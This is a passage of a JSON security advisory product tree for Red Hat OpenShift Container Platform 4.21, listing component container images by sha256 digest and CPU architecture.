"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
